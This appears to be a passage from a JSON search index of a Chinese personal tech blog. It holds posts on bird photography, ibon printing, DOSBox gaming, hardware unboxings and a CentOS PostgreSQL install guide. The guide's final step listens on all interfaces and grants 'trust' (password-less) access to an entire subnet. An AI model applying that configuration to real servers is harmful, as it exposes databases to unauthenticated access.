鏡，而我買了新的相機之後，這台就送給阿玄玩，沒想到他玩熟了之後，現在真的可以拍出很不錯的相片。\n之前阿玄剛拿到這台相機的時候，拍照都是猛按快門，沒對到焦也在拍，玩了幾個月之後，現在知道要先對好焦在按快門，今天在練習設定對焦點，以及順光與逆光的問題，拍了幾天下來，現在已經會找順光的位置拍攝。\n這一棵是樟樹，樹上結了很多果實，灰樹鵲很喜歡吃它的果實，所以在這裡就拍出了很多張非常棒的灰樹鵲照片。\n在大草坪上時常會有八哥與鴿子，阿玄看到之後就會跟著過去拍。\n天氣好的早晨，他會從七點拍到九點，太陽下很熱，一下子就留到滿身汗，所以中間大概要換個五、六次衣服。\n以下都是阿玄自己拍攝的照片，大部分都是原圖，有些我有稍微裁切一下。\n這是在樟樹上拍到的灰樹鵲，因為灰樹鵲時常來這邊吃樟樹的果實，人站在下面它也不會怕，所以很好拍，這些都是阿玄自己拍的。\n阿玄拍完之後，還自己去翻鳥類的圖鑑，查出這隻鳥的名字原來是灰樹鵲（我原本以為是喜鵲，後來發現不是）。\n這是阿玄拍的白頭翁，因為白頭翁很怕人，所以相當不好拍。\n這兩隻是剛出生的小鴿子，在鳥巢中不會飛，所以很好拍。\n八哥也是這裡很常見的鳥類，不過也是很怕人，不好拍。\n麻雀就不用介紹了。\n這一隻停在樹梢的黑鳥，看起來應該是大卷尾。\n這一隻是夜鷺，體型很大，站在那兒一動也不動，一開始還以為它是假的。\n草地上的鴿子有時候不太怕人，所以不算太難拍。\n阿玄拍玩照片之後，我發現有些真的拍得很好，所以選了幾張去 7-ELEVEN 用 ibon 印成明信片，順便給阿玄寫寫看明信片，練習寄信。\n阿玄第一次用自己照的照片製作明信片，剛拿到的時候很興奮。\n把照片印成明信片之後，順便教他如何寫明信片、貼郵票。\n這是阿玄寫給奶奶的明信片，還畫了插圖。\n明信片現在的郵資是 5 元，但因為禮拜天郵局沒開，沒辦法買郵票，家裡又剛好有一張沒用到的 8 元郵票，就直接給它貼上寄出了。\n最後帶阿玄去郵局寄明信片。\n","permalink":"https://blog.gtwang.org/life/qixuan-bird-photography-making-postcard-summer-2019/","summary":"\u003cp\u003e本篇記錄 2019 年暑假，阿玄用單眼相機拍攝鳥類，並製作成明信片的過程。\u003c/p\u003e\n\u003cp\u003e最近阿玄放暑假在家，我帶他去附近的公園拍照，有些照片拍得很好，我挑了幾張比較好的照片，\u003ca href=\"/life/7-eleven-ibon-print-postcard-tutorial-20190901/\"\u003e用 7-ELEVEN 的 ibon 印出來變成明信片\u003c/a\u003e，剛好阿玄也沒有實際寫過明信片，剛好讓他體驗一下，開學後還可以拿到學校跟同學分享。\u003c/p\u003e","title":"阿玄 2019 暑假鳥類攝影、製作明信片記錄"},{"content":"本篇介紹如何利用 ibon 雲端列印網上傳照片，然後到 7-ELEVEN 門市用 ibon 直接印出 4 X 6 相片明信片。\n7-ELEVEN 的 ibon 可以快速列印照片或明信片，操作非常簡單，不用註冊也不用登入帳號，隨印隨取，非常方便，以下是用 ibon 列印照片或明信片的實際操作教學。\n上傳照片（在家） 要使用 ibon 列印照片或明信片，首先要在家把照片準備好，然後上傳至 ibon 雲端列印網（也可以用 USB 隨身碟帶去 7-ELEVEN 列印，不過直接上傳會比較方便），以下是操作步驟。\nStep 1\n準備好要列印的照片，建議可以先用繪圖軟體將照片裁切成 4:6 的大小，這樣列印出來就會完全符合紙張的大小比例。\nStep 2\n開啟瀏覽器連到 ibon 雲端列印網，上傳準備好的照片。\nStep 3\n將所有要列印的照片上傳後，點選「確認上傳」。\nStep 4\n上傳成功之後，記下系統產生的取件編號，或是用手機照下取件編號的 QR Code 也可以。\n這樣在家的前置作業就完成了，接下來就可以到任何一家 7-ELEVEN 列印照片（明信片）。\n列印照片、明信片（在 7-ELEVEN 門市） 在家把照片上傳之後，去 7-ELEVEN 門市，找到 ibon 機台後，依照以下步驟即可列印照片（明信片）。\nStep 1\n在 ibon 的主選單中，選擇「取件編號列印」。\nStep 2\n輸入剛剛上傳照片產生取件編號，可以直接用手機顯示照下的 QR Code，放在 ibon 機台上掃描，或是手動輸入。\n不管用哪一種輸入方式都可以，效果都一樣。\nStep 3\n選擇「列印」這一個服務項目。\nStep 4\n勾選要列印的照片。\nStep 5\n選擇紙張尺寸以及排版方式，若要印成明信片，就選擇「4 X 6 相片明信片」，圖片排版方式則選擇「符合紙張」。\nStep 6\n設定列印份數，設定好之後建議點選預覽列印，再次確認。\nStep 7\n預覽列印可以看到實際印出的每一頁，我選了四張照片，列印兩份，這樣就會有八頁。\nStep 8\n確認明細，每一張 4 X 6 相片明信片是六塊錢，八頁總共 48 元。\nStep 9\n列印時如果出現這樣的訊息，就要請門市櫃檯人員幫忙開啟控制器「電腦」鍵，然後就可以列印了。\nStep 10\n等待列印，這裡稍微要等一下。\n大約等個 30 秒就會開始印出來了。\nStep 11\n這就是印出來的照片明信片。\nStep 12\n在列印的同時，ibon 機台這邊也會印出一張繳費單。\n印完之後，記得拿這張繳費單去櫃檯結帳繳費。\n這就是 7-ELEVEN 的 ibon 直接印出來的 4 X 6 相片明信片，操作真的很簡單，隨印隨取，相當方便。\n這片背面就是可以寫字的明信片。\n由於 ibon 4 X 6 相片明信片的紙張材質是普通的厚紙，不是相片紙，所以列印品質沒辦法跟相片比，不過它真的非常方便，我用過之後非常滿意。\n阿玄第一次拿到用自己拍攝的鳥類照片做成的明信片，非常高興的一直看。\n","permalink":"https://blog.gtwang.org/life/7-eleven-ibon-print-postcard-tutorial-20190901/","summary":"\u003cp\u003e本篇介紹如何利用 ibon 雲端列印網上傳照片，然後到 7-ELEVEN 門市用 ibon 直接印出 4 X 6 相片明信片。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e7-ELEVEN 的 ibon 可以快速列印照片或明信片，操作非常簡單，不用註冊也不用登入帳號，隨印隨取，非常方便，以下是用 ibon 列印照片或明信片的實際操作教學。\u003c/p\u003e","title":"7-ELEVEN ibon 列印照片、明信片教學"},{"content":"本篇介紹如何在 ibon 的手機 App 中輸入 7-ELEVEN 交貨便寄件代碼，直接從 ibon 列印寄件單，省去在 ibon 機台前輸入代碼的麻煩。\n對於有在經營網路拍賣的人，幾乎都會時常使用 7-ELEVEN 交貨便寄送店到店的包裹，如果包裹件數一多，要在 ibon 機台前逐一輸入寄件代碼並列印寄件單，也是非常麻煩的事情。\nibon 的手機 App 可以讓我們在家就先用手機輸入包裹的寄件代碼（或用手機掃描 QR Code），然後到 7-ELEVEN 門市時，只要以自己的帳號登入 ibon 即可直接列印所有的寄件單，完全不需要站在機台前輸入任何資料，既快速又方便，對於網拍賣家來說非常好用。以下是使用 ibon 手機 App 寄件的步驟。\nStep 1\n首先從網拍平台（露天拍賣、蝦皮拍賣等）上產生包裹的寄件編號。\nStep 2\n安裝 ibon 手機 App，並註冊成為會員。\n名稱：ibon 手機 App\n下載網址：Android、iOS\nStep 3\n開啟 ibon 手機 App，選擇「寄件」服務。\nStep 4\n輸入寄件資料或是寄件代碼。如果是使用電腦產生寄件代碼的話，也可以直接用手機掃描電腦螢幕上的 QR Code 來輸入寄件代碼。\n輸入所有的資料後，按下「送出」。\nStep 5\n送出的寄件資料會顯示於「待辦繳費」頁面，這時候就可以前往 7-ELEVEN 門市，使用 ibon 列印寄件單了。\n到了 ibon 機台前，可以按下「顯示 ibon 登入 QR Code」，使用 QR Code 來登入 ibon。\nStep 6\n這就是 ibon 的登入 QR Code，讓手機處於這個畫面，以下接著開始操作 ibon。\nStep 7\n在 ibon 主畫面上選擇右上角的「ibon APP 登入」。\nStep 8\n選擇「QR Code 登入」。\nStep 9\n閱讀服務須知，點選「同意，下一步」。\nStep 10\n將顯示 QR Code 的手機放在 ibon 機台上進行掃描。\n手機放上去會像這樣，放置正確的話，它掃描的速度很快，馬上就可以登入 ibon 了。\nStep 11\n登入 ibon 之後，會自動顯示所有的繳費項目，勾選要列印的寄件單，然後點選「下一步」。\nStep 12\n確認明細是否正確，若沒問題則點選「確認」。\nStep 13\n接著等待影印機印出所有的寄件單。\nStep 14\n這樣就可以快速印出所有的寄件單，完全不需要在 ibon 機台前手動輸入任何資料，不管有幾張寄件單都可以一次印出來，快速又方便，\nStep 15\n把寄件單貼在包裹上，就可以拿到櫃檯寄出了。\n","permalink":"https://blog.gtwang.org/life/7-eleven-ibon-jiao-huo-bian-mobile-app-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 ibon 的手機 App 中輸入 7-ELEVEN 交貨便寄件代碼，直接從 ibon 列印寄件單，省去在 ibon 機台前輸入代碼的麻煩。\u003c/p\u003e\n\u003cp\u003e對於有在經營網路拍賣的人，幾乎都會時常使用 7-ELEVEN 交貨便寄送店到店的包裹，如果包裹件數一多，要在 ibon 機台前逐一輸入寄件代碼並列印寄件單，也是非常麻煩的事情。\u003c/p\u003e","title":"7-ELEVEN 店到店交貨便 ibon 手機 App 寄件教學"},{"content":"本篇紀錄我在 Ubuntu Linux 系統上安裝與執行金庸群俠傳這個經典 PC 版 DOS 遊戲的過程。\n金庸群俠傳是一款由河洛工作室開發、於 1996 年由智冠科技發行的 DOS 平台中文角色扮演遊戲（RPG），在當時掀起一股相當大的熱潮，由於這款遊戲太受歡迎了，所以後來又有數款遊戲都是根據它所引伸出來的，影響力可以說是空前絕後，有在玩 RPG 遊戲的人大概都知道這一款經典遊戲。\n我個人在當時也買了這一款遊戲，真的非常好玩，不過那時候的網路資訊不如現在發達，我個人的電腦技能當然也不如現在，手上沒有攻略也不知道密技，所以很多關卡都沒有破關，有點遺憾。\n雖然現在 DOS 系統已經被淘汰了，不過我們還是可以在 Ubuntu Linux 中使用 DOSBox 模擬器來玩這款 DOS 遊戲，配上密技與攻略，就可以把所有的關卡都玩過一次，還可以把這款遊戲永久收藏起來，不用怕以後的系統不相容而無法執行。\n安裝 DOSBox 模擬器 金庸群俠傳是 DOS 下的遊戲，所以在 Linux 中必須透過 DOSBox 模擬器來執行，而 DOSBox 可以用 apt 安裝：\nsudo apt-get install dosbox 下載金庸群俠傳 網路上有許多地方可以下載金庸群俠傳 DOS 遊戲的壓縮檔，不過我想這種版本應該是會有版權問題，建議是使用自己買的正版金庸群俠傳，網路上的版本則作為參考用。不過現在也買不到正版的遊戲了，所以現在手上沒有正版軟體的人，也只能從網路上下載。\n我找到的金庸群俠傳適用 7zip 壓縮的，所以要另外安裝 7zip 解壓縮軟體：\nsudo apt install p7zip 接著將網路上下載的金庸群俠傳解壓縮，放在要安裝的位置：\nmkdir ~/jin-yong/ cd ~/jin-yong/ 7zr e /path/Dos 金庸群俠傳.7z 用 DOSBox 執行金庸群俠傳 啟動 DOSBox 模擬環境：\ndosbox 在 DOSBox 中，將金庸群俠傳的目錄掛載至 c 槽：\nmount c ~/jin-yong 切換至 c 槽，執行遊戲：\nc: play 接下來就會進入遊戲了，這是金庸群俠傳的遊戲主選單。\n選擇「重新開始」之後，輸入自己的玩家姓名。\n選擇各項屬性，如果不滿意屬性值，可以按下 n 鍵重新產生，直到滿意為止。\n若是想要體驗整個遊戲的劇情，可以使用密技把屬性加到全滿，在這個畫面下輸入 baberuth，接著就會看到全滿的屬性質。\n接著進入遊戲，首先跟智冠軟體娃娃聊天。\n接下來就要用最快速的方式來破關了。將房內的東西搜括一下，再去河洛客棧給小二小費，出來往南找到南賢，在櫃子裡取得羅盤，即可開始正式進入遊戲。\n到高昇客棧（199, 401）邀請段譽加入，可得六脈神劍譜。\n利用羅盤找到船的位置，上船之後，坐船到冰火島（103, 16）。\n進了山洞之後，按下 l 鍵即可看到完整地圖，在冰火島拿到金毛獅王謝遜的毛髮。\n到崑崙仙境（22, 440）找張無忌加入。\n因為我實在太忙了，所以裝起來也沒時間玩，剩下的攻略就等以後再寫好了。\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-dosbox-play-jin-yong-heroes-dos-classic-game/","summary":"\u003cp\u003e本篇紀錄我在 Ubuntu Linux 系統上安裝與執行金庸群俠傳這個經典 PC 版 DOS 遊戲的過程。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://zh.wikipedia.org/wiki/%E9%87%91%E5%BA%B8%E7%BE%A4%E4%BF%A0%E5%82%B3\"\u003e金庸群俠傳\u003c/a\u003e是一款由河洛工作室開發、於 1996 年由智冠科技發行的 DOS 平台中文角色扮演遊戲（RPG），在當時掀起一股相當大的熱潮，由於這款遊戲太受歡迎了，所以後來又有數款遊戲都是根據它所引伸出來的，影響力可以說是空前絕後，有在玩 RPG 遊戲的人大概都知道這一款經典遊戲。\u003c/p\u003e","title":"Ubuntu Linux 玩金庸群俠傳經典 PC 版 DOS 遊戲"},{"content":"本篇是技嘉 GIGABYTE GB-BXBT-2807 迷你準系統的簡單開箱文。\n這台技嘉 GIGABYTE GB-BXBT-2807 迷你準系統在 momo 購物上面的價格是 3,090 元，其基本規格如下：\n內建 22 奈米 Intel Celeron N2807 處理器。 內建 3Gbps 的 SATA2 介面，可支援厚度 7.0/9.5 mm 的 2.5 吋硬碟。 採用超微型電腦設計 – 0.69L(56.1x 107.6 x 114.4mm)。 內建 1 組 SO-DIMM DDR3L 插槽 (1333 MHz)。 搭載IEEE 802.11 b/g/n 無線網路 / 藍牙 4.0 迷你 PCIe 擴充卡。 內建 D-Sub 及 HDMI 顯示介面（支援雙顯示器輸出）。 內建千兆乙太網路卡。 內建音效介面 (耳機/麥克風)。 內附VESA規範安裝支架（支援75 x 75 mm/100 x 100 mm 規格）。 無散熱風扇設計。 這是技嘉 GIGABYTE GB-BXBT-2807 迷你準系統的外盒。\n打開外盒。\n這些是所有的內容物，包含一台準系統主機、電源供應器、各種電源插頭、壁掛架、螺絲、說明書與一張驅動程式光碟。\n這台準系統的配備比較陽春，外觀也比較樸素。\n正面有一個 USB 3.0 插座。\n側面是散熱孔。\n另外一側則是 VGA 與耳麥的插座。\n背面有電源插座、HDMI、乙太網路孔，以及兩個 USB 2.0 插座。\n底部有一個小散熱孔，還有一些規格標示。\n這台準系統裡面不包含記憶體與硬碟，所以買來之後，要先自己安裝記憶體與硬碟才能使用。底部四個角落的螺絲轉開後，就可以打開機殼。\n這是打開機殼之後的樣子。\n記憶體插槽只有一組，可以插一條 SO-DIMM DDR3L 1333 MHz 的記憶體，最高支援 8GB。\n硬碟則是可以安裝一顆 2.5 吋的 SATA2 硬碟。\n記憶體我就按照最高規格買來裝，而硬碟我則是直接裝 SATA3 的 SSD，讓它降速至 SATA2 去跑。\n這一條記憶體是金士頓的 KVR16LS11/8 筆記型記憶體，規格是 DDR3-1600，容量 8GB，1.35V 低電壓。\n按照正常的方式把記憶體插入插槽，往下壓固定住即可。\n硬碟的部分稍微麻煩一些，要先把硬碟架卸下來，把硬碟鎖上硬碟架之後，再鎖回去。\n鎖好之後的硬碟會像這樣。\n插上 SATA 排線與電源後蓋回去，鎖上機殼螺絲，就完成了。\n這種低階的準系統，若配入門級的記憶體與硬碟，只要四千出頭就可以組一台好用的文書上網機，我是感覺滿好用的。\n","permalink":"https://blog.gtwang.org/unboxing/gigabyte-gb-bxbt-2807-mini-pc-barebone/","summary":"\u003cp\u003e本篇是技嘉 GIGABYTE GB-BXBT-2807 迷你準系統的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這台\u003ca href=\"https://www.gigabyte.com/tw/Mini-PcBarebone/GB-BXBT-2807-rev-10\"\u003e技嘉 GIGABYTE GB-BXBT-2807 迷你準系統\u003c/a\u003e在 momo 購物上面的價格是 3,090 元，其基本規格如下：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e內建 22 奈米 Intel Celeron N2807 處理器。\u003c/li\u003e\n\u003cli\u003e內建 3Gbps 的 SATA2 介面，可支援厚度 7.0/9.5 mm 的 2.5 吋硬碟。\u003c/li\u003e\n\u003cli\u003e採用超微型電腦設計 – 0.69L(56.1x 107.6 x 114.4mm)。\u003c/li\u003e\n\u003cli\u003e內建 1 組 SO-DIMM DDR3L 插槽 (1333 MHz)。\u003c/li\u003e\n\u003cli\u003e搭載IEEE 802.11 b/g/n 無線網路 / 藍牙 4.0 迷你 PCIe 擴充卡。\u003c/li\u003e\n\u003cli\u003e內建 D-Sub 及 HDMI 顯示介面（支援雙顯示器輸出）。\u003c/li\u003e\n\u003cli\u003e內建千兆乙太網路卡。\u003c/li\u003e\n\u003cli\u003e內建音效介面 (耳機/麥克風)。\u003c/li\u003e\n\u003cli\u003e內附VESA規範安裝支架（支援75 x 75 mm/100 x 100 mm 規格）。\u003c/li\u003e\n\u003cli\u003e無散熱風扇設計。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e這是技嘉 GIGABYTE GB-BXBT-2807 迷你準系統的外盒。\u003c/p\u003e","title":"[開箱] 技嘉 GIGABYTE GB-BXBT-2807 迷你準系統"},{"content":"本篇是微米 M400 微型投影機的簡單開箱文。\n這一台微米 M400 微型投影機在 momo 上的價格是 3,184 元，價格比 IS 愛思 P55 170 吋安卓智慧投影機還要低一些。\n這是微米 M400 微型投影機的外盒。\n打開外盒。\n這些就是微米 M400 微型投影機，以及所有的配件，配件有電源線、HDMI 線、遙控器、轉接線、說明書，還有附贈一個 RK AnyCast 無線投影接收器。\n這是投影機的正面。\n打開鏡頭蓋。\n這是側面。\n這是另外一側。\n這是投影機上方的樣子。\n控制按鈕還算可以。\n這是投影機底部的樣子。\n這些是投影機的輸入端子，有 VGA、HDMI、兩個 USB、AV，以及音源輸出。\n這是開機後的樣子。\n遙控器質感還不錯。\n遙控器用的是兩顆四號電池。\n這是附贈的 RK AnyCast。\n這個 RK AnyCast 可以將手機、平板或電腦的影像透過無線傳輸的方式，傳送至投影機的 HDMI 輸入，投放出來。\n它的設計就跟 Google 的 chromecast 很像，接上 HDMI 後，外接 USB 電源。\n接上 RK AnyCast 之後，就可以按照指示連接手機或電腦，不過我感覺它沒有 Google chromecast 好用，而我自己就有一個 Google chromecast，所以這個我就沒用了。\n這個是舊版的 Google chromecast，當初買來之後一直沒時間開箱，現在順便照幾張。\n這就是舊版的 Google chromecast。\n這是電源供應器與 USB 電源線。\n將 Google chromecast 插在投影機的 HDMI 輸入，電源可直接用投影機的 USB 孔。\n按照指示進行 Google chromecast 的設定，Google chromecast 的設計真的很棒，設定過程很簡單。\n設定好之後，就可以將手機或電腦的畫面播放出來了。\n晚上關燈之後撥放的效果比較好，它的喇叭有 3W，聲音還不錯。\n這一款微米 M400 微型投影機跟另外一台 IS 愛思 P55 170 吋安卓智慧投影機比較起來，價位稍微便宜一點，我個人感覺一分錢一分貨，兩台亮度差不多，大概都是堪用等級。\n在使用上我個人比較在意的是對焦的問題，微米 M400 微型投影機我發現在調整焦距時，很容易出現模糊的狀況（畫面中只有部分準焦，部分會失焦），IS 愛思 P55 也會有一點，但是微米 M400 比較嚴重，不過這樣低價位的投影機，也沒辦法要求太多。\n","permalink":"https://blog.gtwang.org/unboxing/digilife-m400-projector/","summary":"\u003cp\u003e本篇是微米 M400 微型投影機的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e這一台微米 M400 微型投影機在 momo 上的價格是 3,184 元，價格比 \u003ca href=\"/unboxing/is-p55-170-inch-android-projector/\"\u003eIS 愛思 P55 170 吋安卓智慧投影機\u003c/a\u003e還要低一些。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這是微米 M400 微型投影機的外盒。\u003c/p\u003e","title":"[開箱] 微米 M400 微型投影機"},{"content":"本篇是 IS 愛思 P55 170 吋安卓智慧投影機的簡單開箱文。\n現在市面上有一些小型的投影機，價格非常便宜，這一台 IS 愛思 P55 170 吋安卓智慧投影機在 momo 上面只要 3,992 元，這次買來試用看看效果如何。\n這是投影機的外盒，體積感覺很小，重量也很輕。\n開箱。\n這些是投影機與所有的配件，配件部分包含電源線、遙控器、轉接線、螺絲（支撐用的）與一條拭鏡布。\n這一台就是 IS 愛思 P55 170 吋安卓智慧投影機，質感很不錯，體積很小，重量也不重。\n這是背面的樣子。\n電源插孔在側邊。\n另外一側是各種輸入端子，有 VGA、HDMI、兩個 USB、AV，還可以插 SD 卡，以及一個音源輸出。\n這是正面。\n打開鏡頭蓋。\n這是投影機底部的樣子，配件的螺絲要鎖在這裡的螺絲孔中，支撐投影機用。\n這是投影機的遙控器，質感不錯。\n遙控器用的是兩顆四號電池。\n這是投影機開機後顯示的主畫面，由於是 Android 系統，所以除了接電腦之外，他也可以自己撥放多媒體檔案，或是連上網路撥放 YouTube 或 Netflix 影片。\n跟正常的投影機比較起來，它的亮度不是很亮，撥放的時候要關燈拉窗簾，畫面才會比較清晰，畫面也沒辦法放到很大。\n晚上在客廳放電影來看，效果還不錯，不過喇叭輸出只有 2W，想要大聲一點就要外接喇叭。\n這台算是超低價位投影機，品質做到這樣我覺得算是很好了。\n","permalink":"https://blog.gtwang.org/unboxing/is-p55-170-inch-android-projector/","summary":"\u003cp\u003e本篇是 IS 愛思 P55 170 吋安卓智慧投影機的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e現在市面上有一些小型的投影機，價格非常便宜，這一台 IS 愛思 P55 170 吋安卓智慧投影機在 momo 上面只要 3,992 元，這次買來試用看看效果如何。\u003c/p\u003e","title":"[開箱] IS 愛思 P55 170 吋安卓智慧投影機"},{"content":"本篇是 360 雲台版高解析雙向智能攝影機 D706 的簡單開箱文。\n最近買了一台 360 的 D706 智能攝影機，價格是 2,688 元，想拿來放在家裡看看這種設備實不實用，買的時候也沒有研究哪個廠牌比較好，看它好像不錯，就直接買了，不過用過之後，感覺也真的還不錯。\n這是 D706 智能攝影機的外盒，盒子的材質很好，跟一般手機的盒子差不多。\n開箱！打開外盒，看到的就是這台 D706 智能攝影機。\n裡面的東西有一台 D706 智能攝影機，一本說明書，還有一盒配件。\n這些是那一小盒中的配件，包含 USB 變壓器與電源線（跟手機的一樣），以及用來掛在天花板的底座與螺絲，還有一張安裝說明。\n這一台就是 D706 智能攝影機，質感很不錯。\n這是側面的樣子。\n這是背面。\n這是鏡頭，上面有保護膜，使用前要先撕掉。\n前方的下半部有一個麥克風孔，可以收音。\n左右兩側都有喇叭，聲音可以調整，調整到大聲的時候，音量還滿大的。\n背面下方有一個 RESET 按鈕，一個 MicroUSB 電源孔，以及一個 MicroSD 卡插槽，插入記憶卡的話就可以儲存拍攝的影片，16GB 可儲存 10 天的記錄影片，滿了會自動覆蓋舊的。\n底部的部分有一個旋轉卡榫，可以用來安裝在底座上，這個應該只有所在天花板的時候會用到。\n這款 D706 智能攝影機需要透過 WiFi 連上網路才能運作，下載 360 攝像機的手機 App 後，先註冊一個帳號，然後跟著 App 的逐步指示連接攝影機，就可以馬上從手機上看到攝影機的畫面了。\n360 的手機 App 介面設計得很好用，操作起來很順手，功能很齊全，通話、攝影、巡視、調整鏡頭、麥克風、喇叭等該有的都有，唯一的小缺點就是有些簡體的詞彙沒有轉成繁體的用語，不過這個不影響功能是還好。\n攝影機會自動根據光線的狀況切換自然光線與紅外線，這是自然光線的影像。\n在晚上完全沒有燈光時，會使用紅外線影像。\n總體來說，這台 360 的 D706 智能攝影機品質很不錯，我用起來很滿意。\n","permalink":"https://blog.gtwang.org/unboxing/360-smart-camera-d706-webcam/","summary":"\u003cp\u003e本篇是 360 雲台版高解析雙向智能攝影機 D706 的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近買了一台 360 的 D706 智能攝影機，價格是 2,688 元，想拿來放在家裡看看這種設備實不實用，買的時候也沒有研究哪個廠牌比較好，看它好像不錯，就直接買了，不過用過之後，感覺也真的還不錯。\u003c/p\u003e","title":"[開箱] 360 雲台版高解析雙向智能攝影機 D706"},{"content":"本篇是逸奇 e-Kit 12 吋相框電子相冊 DF-V601_BK 的簡單開箱文。\n最近買了一個逸奇科技的 e-Kit 12 吋相框電子相冊，他的定價是 4,999 元，在 PChome 24h 購物上賣 3499 元，原本想說這樣的價位品質應該不錯，不過買來之後非常失望，我個人評斷這樣的品質大概是屬於小朋友的玩具等級 。\n打開外箱，裡面只有簡單的兩個泡棉保護。\n這是電子相冊的主體，重量非常輕，外面有一層保護膜。\n這些是所有的配件，那一根黑色的不是天線，只是普通的塑膠支架，可以鎖在相冊背後，讓它站立起來。\n這是拆掉外層保護膜的樣子，螢幕上還有一層保護膜。（如果你仔細看照片，就可以體會它的品質如何）\n這是背面的樣子。\n這些是輸入的介面孔，該有的功能都有，只不過就是質感有待加強。\n在相冊背面有一排操作按鈕，不過這樣的設計非常不直覺，上下左右鍵也直接排在其中，非常難操作，實際要用的話大概只會用遙控器。\n這是開機後的主選單，可以播放照片、音樂、影片等多媒體。\n這是播放照片的樣子，播放的效果還可以。\n切換照片時會有轉場效果。\n這個相冊的功能很豐富，但是它的價位與品質實在有落差，我想我不會再想買第二台了。\n","permalink":"https://blog.gtwang.org/unboxing/e-kit-12-inch-electronic-album-df-v601-bk/","summary":"\u003cp\u003e本篇是逸奇 e-Kit 12 吋相框電子相冊 DF-V601_BK 的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近買了一個逸奇科技的 e-Kit 12 吋相框電子相冊，他的定價是 4,999 元，在 PChome 24h 購物上賣 3499 元，原本想說這樣的價位品質應該不錯，不過買來之後非常失望，我個人評斷這樣的品質大概是屬於小朋友的玩具等級 。\u003c/p\u003e","title":"[開箱] 逸奇 e-Kit 12 吋相框電子相冊 DF-V601_BK"},{"content":"本篇介紹如何在 CentOS Linux 中安裝 PostgreSQL 資料庫伺服器。\n安裝 PostgreSQL 資料庫 在 CentOS 中若要安裝 PostgreSQL，可以從 CentOS 官方套件庫來安裝（建議選項），若是有特殊需要，一定要安裝較新的版本，則可由 PostgreSQL 所提供的套件庫來安裝。\nCentOS 官方套件庫 在 CentOS Linux 的官方套件庫中已經有收錄 PostgreSQL 的套件，所以只要使用 yum 即可直接安裝：\n# 安裝 PostgreSQL 伺服器 sudo yum install postgresql-server postgresql-contrib 安裝好之後，第一次使用前要進行 PostgreSQL 資料庫初始化設定：\n# 初始化 PostgreSQL 資料庫 sudo postgresql-setup initdb 立即啟動 PostgreSQL 伺服器：\n# 啟動 PostgreSQL 伺服器 sudo systemctl start postgresql 設定讓 PostgreSQL 伺服器在開機時可以自動啟動：\n# 設定開機自動啟動 PostgreSQL 伺服器 sudo systemctl enable postgresql 這樣就完成安裝 PostgreSQL 資料庫的伺服器了。\nPostgreSQL 套件庫 若需要比較新版的 PostgreSQL，則可從 PostgreSQL 官方提供的套件庫來安裝。首先從 PostgreSQL 的網頁中尋找對應的套件庫，下載並安裝。\n# 下載 PostgreSQL 套件庫資訊 wget https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm # 安裝 PostgreSQL 套件庫資訊與 EPEL sudo yum install pgdg-redhat-repo-latest.noarch.rpm epel-release 接著即可安裝指定版本的 PostgreSQL 了：\n# 安裝 11 版 PostgreSQL sudo yum install postgresql11-server postgresql11-contrib # 安裝 10 版 PostgreSQL sudo yum install postgresql10-server postgresql10-contrib # 安裝 9.6 版 PostgreSQL sudo yum install postgresql96-server postgresql96-contrib # 安裝 9.5 版 PostgreSQL sudo yum install postgresql95-server postgresql95-contrib # 安裝 9.4 版 PostgreSQL sudo yum install postgresql94-server postgresql94-contrib 接著按照自己安裝的版本，初始化 PostgreSQL 資料庫：\n# 初始化 PostgreSQL 資料庫 sudo /usr/pgsql-11/bin/postgresql-11-setup initdb 立即啟動 PostgreSQL 伺服器：\n# 啟動 PostgreSQL 伺服器 sudo systemctl start postgresql-11 設定讓 PostgreSQL 伺服器在開機時可以自動啟動：\n# 設定開機自動啟動 PostgreSQL 伺服器 sudo systemctl enable postgresql-11 連線與防火牆 PostgreSQL 預設只會開放本機 （localhost）的連線進入，若想要讓外部的使用者亦可透過網路連線進來存取資料，就要修改其設定。\n編輯 /var/lib/pgsql/11/data/postgresql.conf 設定檔，依據自己的需求修改 listen_addresses 屬性，指定要傾聽（listen）的網路介面：\n# listen_addresses = \u0026#39;localhost\u0026#39; # listen_addresses = \u0026#39;192.168.56.4\u0026#39; listen_addresses = \u0026#39;*\u0026#39; 編輯 /var/lib/pgsql/11/data/pg_hba.conf 設定檔，加入允許存取 PostgreSQL 資料庫的網段：\n# 允許 192.168.56.0/24 的所有連線 host all all 192.168.56.0/24 trust 更改 PostgreSQL 的設定之後，要重新啟動讓設定生效：\n# 重新啟動 PostgreSQL 服務 sudo systemctl restart postgresql-11 接著要開啟 CentOS Linux 系統的防火牆：\n# 將 postgresql 服務新增至 public 區域中 sudo firewall-cmd --zone=public --add-service=postgresql # 永久將 postgresql 服務新增至 public 區域中 sudo firewall-cmd --zone=public --permanent --add-service=postgresql 